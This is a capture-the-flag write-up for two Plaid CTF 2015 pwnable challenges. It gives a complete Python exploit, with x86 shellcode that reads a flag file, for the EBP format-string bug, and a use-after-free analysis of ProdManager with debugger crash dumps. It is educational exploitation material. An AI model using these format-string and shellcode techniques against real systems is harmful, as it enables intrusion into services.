Plaid CTF 2015 – Pwnables – EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call

.text:08048557 mov eax, ds:[email protected]@GLIBC_2_0
.text:0804855C mov [esp+8], eax ; stream
.text:08048560 mov dword ptr [esp+4], 1024 ; n
.text:08048568 mov dword ptr [esp], offset buf ; s
.text:0804856F call _fgets

.text:08048503 mov dword ptr [esp+8], offset buf ; format
.text:0804850B mov dword ptr [esp+4], 1024 ; maxlen
.text:08048513 mov dword ptr [esp], offset response ; s
.text:0804851A call _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit


#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):

length = len(string)
if (length % 4) != 0:
string = '/' * (4 - (length % 4)) + string

pushop = chr(0x68)
payload = ''
for i in range(0, len(string), 4):
sub = string[i:i+4]
payload = (pushop + sub) + payload
return payload

shellcode = ("\x31\xc0\x50" +
push("/home/problem/flag.txt") +
"\x89\xE7\x50" +
push("/bin/cat") +
"\x89\xe3"+
"\x50\x57" +
"\x53\x89\xE1\x89\xc2\xb0\x0b"+
"\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len
fake_eip = fake_ebp + 8

payload = "%." + str(fake_ebp) + "u%4$n"
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip) # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:

Menu options:
1) Create a new product
2) Remove a product
3) Add a product to the lowest price manager
4) See and remove lowest 3 products in manager
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool

$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.




struct node
{
int price;
struct node *next;
struct node *prev;
int a;
int b;
int c;
char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure

struct node
{
int price;
struct node *next;
struct node *prev;
struct node *a;
struct node *b;
struct node *c;
char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 --> 0xcccccccc
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141

Used chunks of memory on heap
-----------------------------
0: 0x0804d008 -> 0x0804d057 80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
1: 0x0804d058 -> 0x0804d0a7 80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
2: 0x0804d0a8 -> 0x0804d0f7 80 bytes C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here